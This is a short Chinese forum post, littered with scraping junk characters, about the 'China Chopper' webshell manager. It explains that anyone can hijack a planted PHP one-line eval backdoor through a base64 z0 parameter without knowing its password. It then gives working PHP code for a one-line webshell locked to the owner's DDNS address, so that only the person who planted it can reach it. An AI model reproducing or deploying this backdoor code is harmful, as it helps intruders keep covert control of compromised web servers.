今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞4 z/ k3 Y* c* N: R/ y* N
1 |. \2 z2 P7 l* W
就算你设置了密码,使用了eval($_REQUEST['moyo']);+ B. n4 C* U' \; b p* j$ B
2 ^2 |: m, k/ N" C! U# {. z2 j4 p
但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
) o, |( ^% }. C: F* ^* q8 c0 x' G9 y$ m8 X( F: i0 l/ a+ t
因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));& e" B& b7 M5 J! f5 x
: n4 b m3 x3 M3 H# s( s直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了# [' ?3 k& K Q0 \% P
* I: b, O1 `6 z* q7 p) J* P
不知道是设计缺陷还是故意留的后门
$ S8 }" Y* k3 M6 X9 k o2 q8 z/ n8 L; ]& Q/ D
如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用' A" ?- l4 ^, ` z! _
" h0 P0 v4 U h6 _" a
本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org! i$ p4 q/ h: H$ W& l* _0 o
& s! I* s3 Q9 J B( N然后一句话后门这样写
% c6 E# C2 O$ z3 g6 P f+ z& k1 ]$ S3 H
<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
% B& T0 ~3 b) q" T这样就可以让一句话后门只允许自己的电脑连接了
+ ]- S0 l* t& ^% B, `
9 V5 o5 d$ N# G2 X K8 b9 ^8 `% t7 u |